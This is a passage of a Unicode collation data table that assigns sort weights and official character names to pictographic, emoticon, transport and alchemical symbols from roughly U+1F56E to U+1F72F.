[*1516.0020.0002] # RINGING BELL -1F56E ; [*1517.0020.0002] # BOOK -1F56F ; [*1518.0020.0002] # CANDLE -1F570 ; [*1519.0020.0002] # MANTELPIECE CLOCK -1F571 ; [*151A.0020.0002] # BLACK SKULL AND CROSSBONES -1F572 ; [*151B.0020.0002] # NO PIRACY -1F573 ; [*151C.0020.0002] # HOLE -1F574 ; [*151D.0020.0002] # MAN IN BUSINESS SUIT LEVITATING -1F575 ; [*151E.0020.0002] # SLEUTH OR SPY -1F576 ; [*151F.0020.0002] # DARK SUNGLASSES -1F577 ; [*1520.0020.0002] # SPIDER -1F578 ; [*1521.0020.0002] # SPIDER WEB -1F579 ; [*1522.0020.0002] # JOYSTICK -1F57A ; [*1523.0020.0002] # MAN DANCING -1F57B ; [*1524.0020.0002] # LEFT HAND TELEPHONE RECEIVER -1F57C ; [*1525.0020.0002] # TELEPHONE RECEIVER WITH PAGE -1F57D ; [*1526.0020.0002] # RIGHT HAND TELEPHONE RECEIVER -1F57E ; [*1527.0020.0002] # WHITE TOUCHTONE TELEPHONE -1F57F ; [*1528.0020.0002] # BLACK TOUCHTONE TELEPHONE -1F580 ; [*1529.0020.0002] # TELEPHONE ON TOP OF MODEM -1F581 ; [*152A.0020.0002] # CLAMSHELL MOBILE PHONE -1F582 ; [*152B.0020.0002] # BACK OF ENVELOPE -1F583 ; [*152C.0020.0002] # STAMPED ENVELOPE -1F584 ; [*152D.0020.0002] # ENVELOPE WITH LIGHTNING -1F585 ; [*152E.0020.0002] # FLYING ENVELOPE -1F586 ; [*152F.0020.0002] # PEN OVER STAMPED ENVELOPE -1F587 ; [*1530.0020.0002] # LINKED PAPERCLIPS -1F588 ; [*1531.0020.0002] # BLACK PUSHPIN -1F589 ; [*1532.0020.0002] # LOWER LEFT PENCIL -1F58A ; [*1533.0020.0002] # LOWER LEFT BALLPOINT PEN -1F58B ; [*1534.0020.0002] # LOWER LEFT FOUNTAIN PEN -1F58C ; [*1535.0020.0002] # LOWER LEFT PAINTBRUSH -1F58D ; [*1536.0020.0002] # LOWER LEFT CRAYON -1F58E ; [*1537.0020.0002] # LEFT WRITING HAND -1F58F ; [*1538.0020.0002] # TURNED OK HAND SIGN -1F590 ; [*1539.0020.0002] # RAISED HAND WITH FINGERS SPLAYED -1F591 ; [*153A.0020.0002] # REVERSED RAISED HAND WITH FINGERS SPLAYED -1F592 ; [*153B.0020.0002] # REVERSED THUMBS UP SIGN -1F593 ; [*153C.0020.0002] # REVERSED THUMBS DOWN SIGN -1F594 ; [*153D.0020.0002] # REVERSED VICTORY HAND -1F595 ; [*153E.0020.0002] # REVERSED HAND WITH MIDDLE FINGER EXTENDED -1F596 ; [*153F.0020.0002] # RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS -1F597 ; [*1540.0020.0002] # WHITE DOWN POINTING LEFT HAND INDEX -1F598 ; [*1541.0020.0002] # SIDEWAYS WHITE LEFT POINTING INDEX -1F599 ; [*1542.0020.0002] # SIDEWAYS WHITE RIGHT POINTING INDEX -1F59A ; [*1543.0020.0002] # SIDEWAYS BLACK LEFT POINTING INDEX -1F59B ; [*1544.0020.0002] # SIDEWAYS BLACK RIGHT POINTING INDEX -1F59C ; [*1545.0020.0002] # BLACK LEFT POINTING BACKHAND INDEX -1F59D ; [*1546.0020.0002] # BLACK RIGHT POINTING BACKHAND INDEX -1F59E ; [*1547.0020.0002] # SIDEWAYS WHITE UP POINTING INDEX -1F59F ; [*1548.0020.0002] # SIDEWAYS WHITE DOWN POINTING INDEX -1F5A0 ; [*1549.0020.0002] # SIDEWAYS BLACK UP POINTING INDEX -1F5A1 ; [*154A.0020.0002] # SIDEWAYS BLACK DOWN POINTING INDEX -1F5A2 ; [*154B.0020.0002] # BLACK UP POINTING BACKHAND INDEX -1F5A3 ; [*154C.0020.0002] # BLACK DOWN POINTING BACKHAND INDEX -1F5A4 ; [*154D.0020.0002] # BLACK HEART -1F5A5 ; [*154E.0020.0002] # DESKTOP COMPUTER -1F5A6 ; [*154F.0020.0002] # KEYBOARD AND MOUSE -1F5A7 ; [*1550.0020.0002] # THREE NETWORKED COMPUTERS -1F5A8 ; [*1551.0020.0002] # PRINTER -1F5A9 ; [*1552.0020.0002] # POCKET CALCULATOR -1F5AA ; [*1553.0020.0002] # BLACK HARD SHELL FLOPPY DISK -1F5AB ; [*1554.0020.0002] # WHITE HARD SHELL FLOPPY DISK -1F5AC ; [*1555.0020.0002] # SOFT SHELL FLOPPY DISK -1F5AD ; [*1556.0020.0002] # TAPE CARTRIDGE -1F5AE ; [*1557.0020.0002] # WIRED KEYBOARD -1F5AF ; [*1558.0020.0002] # ONE BUTTON MOUSE -1F5B0 ; [*1559.0020.0002] # TWO BUTTON MOUSE -1F5B1 ; [*155A.0020.0002] # THREE BUTTON MOUSE -1F5B2 ; [*155B.0020.0002] # TRACKBALL -1F5B3 ; [*155C.0020.0002] # OLD PERSONAL COMPUTER -1F5B4 ; [*155D.0020.0002] # HARD DISK -1F5B5 ; [*155E.0020.0002] # SCREEN -1F5B6 ; [*155F.0020.0002] # PRINTER ICON -1F5B7 ; [*1560.0020.0002] # FAX ICON -1F5B8 ; [*1561.0020.0002] # OPTICAL DISC ICON -1F5B9 ; [*1562.0020.0002] # DOCUMENT WITH TEXT -1F5BA ; [*1563.0020.0002] # DOCUMENT WITH TEXT AND PICTURE -1F5BB ; [*1564.0020.0002] # DOCUMENT WITH PICTURE -1F5BC ; [*1565.0020.0002] # FRAME WITH PICTURE -1F5BD ; [*1566.0020.0002] # FRAME WITH TILES -1F5BE ; [*1567.0020.0002] # FRAME WITH AN X -1F5BF ; [*1568.0020.0002] # BLACK FOLDER -1F5C0 ; [*1569.0020.0002] # FOLDER -1F5C1 ; [*156A.0020.0002] # OPEN FOLDER -1F5C2 ; [*156B.0020.0002] # CARD INDEX DIVIDERS -1F5C3 ; [*156C.0020.0002] # CARD FILE BOX -1F5C4 ; [*156D.0020.0002] # FILE CABINET -1F5C5 ; [*156E.0020.0002] # EMPTY NOTE -1F5C6 ; [*156F.0020.0002] # EMPTY NOTE PAGE -1F5C7 ; [*1570.0020.0002] # EMPTY NOTE PAD -1F5C8 ; [*1571.0020.0002] # NOTE -1F5C9 ; [*1572.0020.0002] # NOTE PAGE -1F5CA ; [*1573.0020.0002] # NOTE PAD -1F5CB ; [*1574.0020.0002] # EMPTY DOCUMENT -1F5CC ; [*1575.0020.0002] # EMPTY PAGE -1F5CD ; [*1576.0020.0002] # EMPTY PAGES -1F5CE ; [*1577.0020.0002] # DOCUMENT -1F5CF ; [*1578.0020.0002] # PAGE -1F5D0 ; [*1579.0020.0002] # PAGES -1F5D1 ; [*157A.0020.0002] # WASTEBASKET -1F5D2 ; [*157B.0020.0002] # SPIRAL NOTE PAD -1F5D3 ; [*157C.0020.0002] # SPIRAL CALENDAR PAD -1F5D4 ; [*157D.0020.0002] # DESKTOP WINDOW -1F5D5 ; [*157E.0020.0002] # MINIMIZE -1F5D6 ; [*157F.0020.0002] # MAXIMIZE -1F5D7 ; [*1580.0020.0002] # OVERLAP -1F5D8 ; [*1581.0020.0002] # CLOCKWISE RIGHT AND LEFT SEMICIRCLE ARROWS -1F5D9 ; [*1582.0020.0002] # CANCELLATION X -1F5DA ; [*1583.0020.0002] # INCREASE FONT SIZE SYMBOL -1F5DB ; [*1584.0020.0002] # DECREASE FONT SIZE SYMBOL -1F5DC ; [*1585.0020.0002] # COMPRESSION -1F5DD ; [*1586.0020.0002] # OLD KEY -1F5DE ; [*1587.0020.0002] # ROLLED-UP NEWSPAPER -1F5DF ; [*1588.0020.0002] # PAGE WITH CIRCLED TEXT -1F5E0 ; [*1589.0020.0002] # STOCK CHART -1F5E1 ; [*158A.0020.0002] # DAGGER KNIFE -1F5E2 ; [*158B.0020.0002] # LIPS -1F5E3 ; [*158C.0020.0002] # SPEAKING HEAD IN SILHOUETTE -1F5E4 ; [*158D.0020.0002] # THREE RAYS ABOVE -1F5E5 ; [*158E.0020.0002] # THREE RAYS BELOW -1F5E6 ; [*158F.0020.0002] # THREE RAYS LEFT -1F5E7 ; [*1590.0020.0002] # THREE RAYS RIGHT -1F5E8 ; [*1591.0020.0002] # LEFT SPEECH BUBBLE -1F5E9 ; [*1592.0020.0002] # RIGHT SPEECH BUBBLE -1F5EA ; [*1593.0020.0002] # TWO SPEECH BUBBLES -1F5EB ; [*1594.0020.0002] # THREE SPEECH BUBBLES -1F5EC ; [*1595.0020.0002] # LEFT THOUGHT BUBBLE -1F5ED ; [*1596.0020.0002] # RIGHT THOUGHT BUBBLE -1F5EE ; [*1597.0020.0002] # LEFT ANGER BUBBLE -1F5EF ; [*1598.0020.0002] # RIGHT ANGER BUBBLE -1F5F0 ; [*1599.0020.0002] # MOOD BUBBLE -1F5F1 ; [*159A.0020.0002] # LIGHTNING MOOD BUBBLE -1F5F2 ; [*159B.0020.0002] # LIGHTNING MOOD -1F5F3 ; [*159C.0020.0002] # BALLOT BOX WITH BALLOT -1F5F4 ; [*159D.0020.0002] # BALLOT SCRIPT X -1F5F5 ; [*159E.0020.0002] # BALLOT BOX WITH SCRIPT X -1F5F6 ; [*159F.0020.0002] # BALLOT BOLD SCRIPT X -1F5F7 ; [*15A0.0020.0002] # BALLOT BOX WITH BOLD SCRIPT X -1F5F8 ; [*15A1.0020.0002] # LIGHT CHECK MARK -1F5F9 ; [*15A2.0020.0002] # BALLOT BOX WITH BOLD CHECK -1F5FA ; [*15A3.0020.0002] # WORLD MAP -1F5FB ; [*15A4.0020.0002] # MOUNT FUJI -1F5FC ; [*15A5.0020.0002] # TOKYO TOWER -1F5FD ; [*15A6.0020.0002] # STATUE OF LIBERTY -1F5FE ; [*15A7.0020.0002] # SILHOUETTE OF JAPAN -1F5FF ; [*15A8.0020.0002] # MOYAI -1F600 ; [*15FB.0020.0002] # GRINNING FACE -1F601 ; [*15FC.0020.0002] # GRINNING FACE WITH SMILING EYES -1F602 ; [*15FD.0020.0002] # FACE WITH TEARS OF JOY -1F603 ; [*15FE.0020.0002] # SMILING FACE WITH OPEN MOUTH -1F604 ; [*15FF.0020.0002] # SMILING FACE WITH OPEN MOUTH AND SMILING EYES -1F605 ; [*1600.0020.0002] # SMILING FACE WITH OPEN MOUTH AND COLD SWEAT -1F606 ; [*1601.0020.0002] # SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES -1F607 ; [*1602.0020.0002] # SMILING FACE WITH HALO -1F608 ; [*1603.0020.0002] # SMILING FACE WITH HORNS -1F609 ; [*1604.0020.0002] # WINKING FACE -1F60A ; [*1605.0020.0002] # SMILING FACE WITH SMILING EYES -1F60B ; [*1606.0020.0002] # FACE SAVOURING DELICIOUS FOOD -1F60C ; [*1607.0020.0002] # RELIEVED FACE -1F60D ; [*1608.0020.0002] # SMILING FACE WITH HEART-SHAPED EYES -1F60E ; [*1609.0020.0002] # SMILING FACE WITH SUNGLASSES -1F60F ; [*160A.0020.0002] # SMIRKING FACE -1F610 ; [*160B.0020.0002] # NEUTRAL FACE -1F611 ; [*160C.0020.0002] # EXPRESSIONLESS FACE -1F612 ; [*160D.0020.0002] # UNAMUSED FACE -1F613 ; [*160E.0020.0002] # FACE WITH COLD SWEAT -1F614 ; [*160F.0020.0002] # PENSIVE FACE -1F615 ; [*1610.0020.0002] # CONFUSED FACE -1F616 ; [*1611.0020.0002] # CONFOUNDED FACE -1F617 ; [*1612.0020.0002] # KISSING FACE -1F618 ; [*1613.0020.0002] # FACE THROWING A KISS -1F619 ; [*1614.0020.0002] # KISSING FACE WITH SMILING EYES -1F61A ; [*1615.0020.0002] # KISSING FACE WITH CLOSED EYES -1F61B ; [*1616.0020.0002] # FACE WITH STUCK-OUT TONGUE -1F61C ; [*1617.0020.0002] # FACE WITH STUCK-OUT TONGUE AND WINKING EYE -1F61D ; [*1618.0020.0002] # FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES -1F61E ; [*1619.0020.0002] # DISAPPOINTED FACE -1F61F ; [*161A.0020.0002] # WORRIED FACE -1F620 ; [*161B.0020.0002] # ANGRY FACE -1F621 ; [*161C.0020.0002] # POUTING FACE -1F622 ; [*161D.0020.0002] # CRYING FACE -1F623 ; [*161E.0020.0002] # PERSEVERING FACE -1F624 ; [*161F.0020.0002] # FACE WITH LOOK OF TRIUMPH -1F625 ; [*1620.0020.0002] # DISAPPOINTED BUT RELIEVED FACE -1F626 ; [*1621.0020.0002] # FROWNING FACE WITH OPEN MOUTH -1F627 ; [*1622.0020.0002] # ANGUISHED FACE -1F628 ; [*1623.0020.0002] # FEARFUL FACE -1F629 ; [*1624.0020.0002] # WEARY FACE -1F62A ; [*1625.0020.0002] # SLEEPY FACE -1F62B ; [*1626.0020.0002] # TIRED FACE -1F62C ; [*1627.0020.0002] # GRIMACING FACE -1F62D ; [*1628.0020.0002] # LOUDLY CRYING FACE -1F62E ; [*1629.0020.0002] # FACE WITH OPEN MOUTH -1F62F ; [*162A.0020.0002] # HUSHED FACE -1F630 ; [*162B.0020.0002] # FACE WITH OPEN MOUTH AND COLD SWEAT -1F631 ; [*162C.0020.0002] # FACE SCREAMING IN FEAR -1F632 ; [*162D.0020.0002] # ASTONISHED FACE -1F633 ; [*162E.0020.0002] # FLUSHED FACE -1F634 ; [*162F.0020.0002] # SLEEPING FACE -1F635 ; [*1630.0020.0002] # DIZZY FACE -1F636 ; [*1631.0020.0002] # FACE WITHOUT MOUTH -1F637 ; [*1632.0020.0002] # FACE WITH MEDICAL MASK -1F638 ; [*1633.0020.0002] # GRINNING CAT FACE WITH SMILING EYES -1F639 ; [*1634.0020.0002] # CAT FACE WITH TEARS OF JOY -1F63A ; [*1635.0020.0002] # SMILING CAT FACE WITH OPEN MOUTH -1F63B ; [*1636.0020.0002] # SMILING CAT FACE WITH HEART-SHAPED EYES -1F63C ; [*1637.0020.0002] # CAT FACE WITH WRY SMILE -1F63D ; [*1638.0020.0002] # KISSING CAT FACE WITH CLOSED EYES -1F63E ; [*1639.0020.0002] # POUTING CAT FACE -1F63F ; [*163A.0020.0002] # CRYING CAT FACE -1F640 ; [*163B.0020.0002] # WEARY CAT FACE -1F641 ; [*163C.0020.0002] # SLIGHTLY FROWNING FACE -1F642 ; [*163D.0020.0002] # SLIGHTLY SMILING FACE -1F643 ; [*163E.0020.0002] # UPSIDE-DOWN FACE -1F644 ; [*163F.0020.0002] # FACE WITH ROLLING EYES -1F645 ; [*1640.0020.0002] # FACE WITH NO GOOD GESTURE -1F646 ; [*1641.0020.0002] # FACE WITH OK GESTURE -1F647 ; [*1642.0020.0002] # PERSON BOWING DEEPLY -1F648 ; [*1643.0020.0002] # SEE-NO-EVIL MONKEY -1F649 ; [*1644.0020.0002] # HEAR-NO-EVIL MONKEY -1F64A ; [*1645.0020.0002] # SPEAK-NO-EVIL MONKEY -1F64B ; [*1646.0020.0002] # HAPPY PERSON RAISING ONE HAND -1F64C ; [*1647.0020.0002] # PERSON RAISING BOTH HANDS IN CELEBRATION -1F64D ; [*1648.0020.0002] # PERSON FROWNING -1F64E ; [*1649.0020.0002] # PERSON WITH POUTING FACE -1F64F ; [*164A.0020.0002] # PERSON WITH FOLDED HANDS -1F650 ; [*164B.0020.0002] # NORTH WEST POINTING LEAF -1F651 ; [*164C.0020.0002] # SOUTH WEST POINTING LEAF -1F652 ; [*164D.0020.0002] # NORTH EAST POINTING LEAF -1F653 ; [*164E.0020.0002] # SOUTH EAST POINTING LEAF -1F654 ; [*164F.0020.0002] # TURNED NORTH WEST POINTING LEAF -1F655 ; [*1650.0020.0002] # TURNED SOUTH WEST POINTING LEAF -1F656 ; [*1651.0020.0002] # TURNED NORTH EAST POINTING LEAF -1F657 ; [*1652.0020.0002] # TURNED SOUTH EAST POINTING LEAF -1F658 ; [*1653.0020.0002] # NORTH WEST POINTING VINE LEAF -1F659 ; [*1654.0020.0002] # SOUTH WEST POINTING VINE LEAF -1F65A ; [*1655.0020.0002] # NORTH EAST POINTING VINE LEAF -1F65B ; [*1656.0020.0002] # SOUTH EAST POINTING VINE LEAF -1F65C ; [*1657.0020.0002] # HEAVY NORTH WEST POINTING VINE LEAF -1F65D ; [*1658.0020.0002] # HEAVY SOUTH WEST POINTING VINE LEAF -1F65E ; [*1659.0020.0002] # HEAVY NORTH EAST POINTING VINE LEAF -1F65F ; [*165A.0020.0002] # HEAVY SOUTH EAST POINTING VINE LEAF -1F660 ; [*165B.0020.0002] # NORTH WEST POINTING BUD -1F661 ; [*165C.0020.0002] # SOUTH WEST POINTING BUD -1F662 ; [*165D.0020.0002] # NORTH EAST POINTING BUD -1F663 ; [*165E.0020.0002] # SOUTH EAST POINTING BUD -1F664 ; [*165F.0020.0002] # HEAVY NORTH WEST POINTING BUD -1F665 ; [*1660.0020.0002] # HEAVY SOUTH WEST POINTING BUD -1F666 ; [*1661.0020.0002] # HEAVY NORTH EAST POINTING BUD -1F667 ; [*1662.0020.0002] # HEAVY SOUTH EAST POINTING BUD -1F668 ; [*1663.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT -1F669 ; [*1664.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT IN BLACK SQUARE -1F66A ; [*1665.0020.0002] # SOLID QUILT SQUARE ORNAMENT -1F66B ; [*1666.0020.0002] # SOLID QUILT SQUARE ORNAMENT IN BLACK SQUARE -1F66C ; [*1667.0020.0002] # LEFTWARDS ROCKET -1F66D ; [*1668.0020.0002] # UPWARDS ROCKET -1F66E ; [*1669.0020.0002] # RIGHTWARDS ROCKET -1F66F ; [*166A.0020.0002] # DOWNWARDS ROCKET -1F670 ; [*166B.0020.0002] # SCRIPT LIGATURE ET ORNAMENT -1F671 ; [*166C.0020.0002] # HEAVY SCRIPT LIGATURE ET ORNAMENT -1F672 ; [*166D.0020.0002] # LIGATURE OPEN ET ORNAMENT -1F673 ; [*166E.0020.0002] # HEAVY LIGATURE OPEN ET ORNAMENT -1F674 ; [*166F.0020.0002] # HEAVY AMPERSAND ORNAMENT -1F675 ; [*1670.0020.0002] # SWASH AMPERSAND ORNAMENT -1F676 ; [*1671.0020.0002] # SANS-SERIF HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT -1F677 ; [*1672.0020.0002] # SANS-SERIF HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT -1F678 ; [*1673.0020.0002] # SANS-SERIF HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT -1F679 ; [*1674.0020.0002] # HEAVY INTERROBANG ORNAMENT -1F67A ; [*1675.0020.0002] # SANS-SERIF INTERROBANG ORNAMENT -1F67B ; [*1676.0020.0002] # HEAVY SANS-SERIF INTERROBANG ORNAMENT -1F67C ; [*1677.0020.0002] # VERY HEAVY SOLIDUS -1F67D ; [*1678.0020.0002] # VERY HEAVY REVERSE SOLIDUS -1F67E ; [*1679.0020.0002] # CHECKER BOARD -1F67F ; [*167A.0020.0002] # REVERSE CHECKER BOARD -1F680 ; [*167B.0020.0002] # ROCKET -1F681 ; [*167C.0020.0002] # HELICOPTER -1F682 ; [*167D.0020.0002] # STEAM LOCOMOTIVE -1F683 ; [*167E.0020.0002] # RAILWAY CAR -1F684 ; [*167F.0020.0002] # HIGH-SPEED TRAIN -1F685 ; [*1680.0020.0002] # HIGH-SPEED TRAIN WITH BULLET NOSE -1F686 ; [*1681.0020.0002] # TRAIN -1F687 ; [*1682.0020.0002] # METRO -1F688 ; [*1683.0020.0002] # LIGHT RAIL -1F689 ; [*1684.0020.0002] # STATION -1F68A ; [*1685.0020.0002] # TRAM -1F68B ; [*1686.0020.0002] # TRAM CAR -1F68C ; [*1687.0020.0002] # BUS -1F68D ; [*1688.0020.0002] # ONCOMING BUS -1F68E ; [*1689.0020.0002] # TROLLEYBUS -1F68F ; [*168A.0020.0002] # BUS STOP -1F690 ; [*168B.0020.0002] # MINIBUS -1F691 ; [*168C.0020.0002] # AMBULANCE -1F692 ; [*168D.0020.0002] # FIRE ENGINE -1F693 ; [*168E.0020.0002] # POLICE CAR -1F694 ; [*168F.0020.0002] # ONCOMING POLICE CAR -1F695 ; [*1690.0020.0002] # TAXI -1F696 ; [*1691.0020.0002] # ONCOMING TAXI -1F697 ; [*1692.0020.0002] # AUTOMOBILE -1F698 ; [*1693.0020.0002] # ONCOMING AUTOMOBILE -1F699 ; [*1694.0020.0002] # RECREATIONAL VEHICLE -1F69A ; [*1695.0020.0002] # DELIVERY TRUCK -1F69B ; [*1696.0020.0002] # ARTICULATED LORRY -1F69C ; [*1697.0020.0002] # TRACTOR -1F69D ; [*1698.0020.0002] # MONORAIL -1F69E ; [*1699.0020.0002] # MOUNTAIN RAILWAY -1F69F ; [*169A.0020.0002] # SUSPENSION RAILWAY -1F6A0 ; [*169B.0020.0002] # MOUNTAIN CABLEWAY -1F6A1 ; [*169C.0020.0002] # AERIAL TRAMWAY -1F6A2 ; [*169D.0020.0002] # SHIP -1F6A3 ; [*169E.0020.0002] # ROWBOAT -1F6A4 ; [*169F.0020.0002] # SPEEDBOAT -1F6A5 ; [*16A0.0020.0002] # HORIZONTAL TRAFFIC LIGHT -1F6A6 ; [*16A1.0020.0002] # VERTICAL TRAFFIC LIGHT -1F6A7 ; [*16A2.0020.0002] # CONSTRUCTION SIGN -1F6A8 ; [*16A3.0020.0002] # POLICE CARS REVOLVING LIGHT -1F6A9 ; [*16A4.0020.0002] # TRIANGULAR FLAG ON POST -1F6AA ; [*16A5.0020.0002] # DOOR -1F6AB ; [*16A6.0020.0002] # NO ENTRY SIGN -1F6AC ; [*16A7.0020.0002] # SMOKING SYMBOL -1F6AD ; [*16A8.0020.0002] # NO SMOKING SYMBOL -1F6AE ; [*16A9.0020.0002] # PUT LITTER IN ITS PLACE SYMBOL -1F6AF ; [*16AA.0020.0002] # DO NOT LITTER SYMBOL -1F6B0 ; [*16AB.0020.0002] # POTABLE WATER SYMBOL -1F6B1 ; [*16AC.0020.0002] # NON-POTABLE WATER SYMBOL -1F6B2 ; [*16AD.0020.0002] # BICYCLE -1F6B3 ; [*16AE.0020.0002] # NO BICYCLES -1F6B4 ; [*16AF.0020.0002] # BICYCLIST -1F6B5 ; [*16B0.0020.0002] # MOUNTAIN BICYCLIST -1F6B6 ; [*16B1.0020.0002] # PEDESTRIAN -1F6B7 ; [*16B2.0020.0002] # NO PEDESTRIANS -1F6B8 ; [*16B3.0020.0002] # CHILDREN CROSSING -1F6B9 ; [*16B4.0020.0002] # MENS SYMBOL -1F6BA ; [*16B5.0020.0002] # WOMENS SYMBOL -1F6BB ; [*16B6.0020.0002] # RESTROOM -1F6BC ; [*16B7.0020.0002] # BABY SYMBOL -1F6BD ; [*16B8.0020.0002] # TOILET -1F6BE ; [*16B9.0020.0002] # WATER CLOSET -1F6BF ; [*16BA.0020.0002] # SHOWER -1F6C0 ; [*16BB.0020.0002] # BATH -1F6C1 ; [*16BC.0020.0002] # BATHTUB -1F6C2 ; [*16BD.0020.0002] # PASSPORT CONTROL -1F6C3 ; [*16BE.0020.0002] # CUSTOMS -1F6C4 ; [*16BF.0020.0002] # BAGGAGE CLAIM -1F6C5 ; [*16C0.0020.0002] # LEFT LUGGAGE -1F6C6 ; [*16C1.0020.0002] # TRIANGLE WITH ROUNDED CORNERS -1F6C7 ; [*16C2.0020.0002] # PROHIBITED SIGN -1F6C8 ; [*16C3.0020.0002] # CIRCLED INFORMATION SOURCE -1F6C9 ; [*16C4.0020.0002] # BOYS SYMBOL -1F6CA ; [*16C5.0020.0002] # GIRLS SYMBOL -1F6CB ; [*16C6.0020.0002] # COUCH AND LAMP -1F6CC ; [*16C7.0020.0002] # SLEEPING ACCOMMODATION -1F6CD ; [*16C8.0020.0002] # SHOPPING BAGS -1F6CE ; [*16C9.0020.0002] # BELLHOP BELL -1F6CF ; [*16CA.0020.0002] # BED -1F6D0 ; [*16CB.0020.0002] # PLACE OF WORSHIP -1F6D1 ; [*16CC.0020.0002] # OCTAGONAL SIGN -1F6D2 ; [*16CD.0020.0002] # SHOPPING TROLLEY -1F6E0 ; [*16CE.0020.0002] # HAMMER AND WRENCH -1F6E1 ; [*16CF.0020.0002] # SHIELD -1F6E2 ; [*16D0.0020.0002] # OIL DRUM -1F6E3 ; [*16D1.0020.0002] # MOTORWAY -1F6E4 ; [*16D2.0020.0002] # RAILWAY TRACK -1F6E5 ; [*16D3.0020.0002] # MOTOR BOAT -1F6E6 ; [*16D4.0020.0002] # UP-POINTING MILITARY AIRPLANE -1F6E7 ; [*16D5.0020.0002] # UP-POINTING AIRPLANE -1F6E8 ; [*16D6.0020.0002] # UP-POINTING SMALL AIRPLANE -1F6E9 ; [*16D7.0020.0002] # SMALL AIRPLANE -1F6EA ; [*16D8.0020.0002] # NORTHEAST-POINTING AIRPLANE -1F6EB ; [*16D9.0020.0002] # AIRPLANE DEPARTURE -1F6EC ; [*16DA.0020.0002] # AIRPLANE ARRIVING -1F6F0 ; [*16DB.0020.0002] # SATELLITE -1F6F1 ; [*16DC.0020.0002] # ONCOMING FIRE ENGINE -1F6F2 ; [*16DD.0020.0002] # DIESEL LOCOMOTIVE -1F6F3 ; [*16DE.0020.0002] # PASSENGER SHIP -1F6F4 ; [*16DF.0020.0002] # SCOOTER -1F6F5 ; [*16E0.0020.0002] # MOTOR SCOOTER -1F6F6 ; [*16E1.0020.0002] # CANOE -1F700 ; [*16E2.0020.0002] # ALCHEMICAL SYMBOL FOR QUINTESSENCE -1F701 ; [*16E3.0020.0002] # ALCHEMICAL SYMBOL FOR AIR -1F702 ; [*16E4.0020.0002] # ALCHEMICAL SYMBOL FOR FIRE -1F703 ; [*16E5.0020.0002] # ALCHEMICAL SYMBOL FOR EARTH -1F704 ; [*16E6.0020.0002] # ALCHEMICAL SYMBOL FOR WATER -1F705 ; [*16E7.0020.0002] # ALCHEMICAL SYMBOL FOR AQUAFORTIS -1F706 ; [*16E8.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA -1F707 ; [*16E9.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA-2 -1F708 ; [*16EA.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE -1F709 ; [*16EB.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE-2 -1F70A ; [*16EC.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR -1F70B ; [*16ED.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-2 -1F70C ; [*16EE.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-3 -1F70D ; [*16EF.0020.0002] # ALCHEMICAL SYMBOL FOR SULFUR -1F70E ; [*16F0.0020.0002] # ALCHEMICAL SYMBOL FOR PHILOSOPHERS SULFUR -1F70F ; [*16F1.0020.0002] # ALCHEMICAL SYMBOL FOR BLACK SULFUR -1F710 ; [*16F2.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE -1F711 ; [*16F3.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-2 -1F712 ; [*16F4.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-3 -1F713 ; [*16F5.0020.0002] # ALCHEMICAL SYMBOL FOR CINNABAR -1F714 ; [*16F6.0020.0002] # ALCHEMICAL SYMBOL FOR SALT -1F715 ; [*16F7.0020.0002] # ALCHEMICAL SYMBOL FOR NITRE -1F716 ; [*16F8.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL -1F717 ; [*16F9.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL-2 -1F718 ; [*16FA.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT -1F719 ; [*16FB.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT-2 -1F71A ; [*16FC.0020.0002] # ALCHEMICAL SYMBOL FOR GOLD -1F71B ; [*16FD.0020.0002] # ALCHEMICAL SYMBOL FOR SILVER -1F71C ; [*16FE.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE -1F71D ; [*16FF.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE-2 -1F71E ; [*1700.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF IRON -1F71F ; [*1701.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF IRON -1F720 ; [*1702.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ORE -1F721 ; [*1703.0020.0002] # ALCHEMICAL SYMBOL FOR IRON-COPPER ORE -1F722 ; [*1704.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF COPPER -1F723 ; [*1705.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER -1F724 ; [*1706.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER-2 -1F725 ; [*1707.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ANTIMONIATE -1F726 ; [*1708.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF COPPER ANTIMONIATE -1F727 ; [*1709.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF COPPER -1F728 ; [*170A.0020.0002] # ALCHEMICAL SYMBOL FOR VERDIGRIS -1F729 ; [*170B.0020.0002] # ALCHEMICAL SYMBOL FOR TIN ORE -1F72A ; [*170C.0020.0002] # ALCHEMICAL SYMBOL FOR LEAD ORE -1F72B ; [*170D.0020.0002] # ALCHEMICAL SYMBOL FOR ANTIMONY ORE -1F72C ; [*170E.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF ANTIMONY -1F72D ; [*170F.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF ANTIMONY -1F72E ; [*1710.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF ANTIMONY -1F72F ; 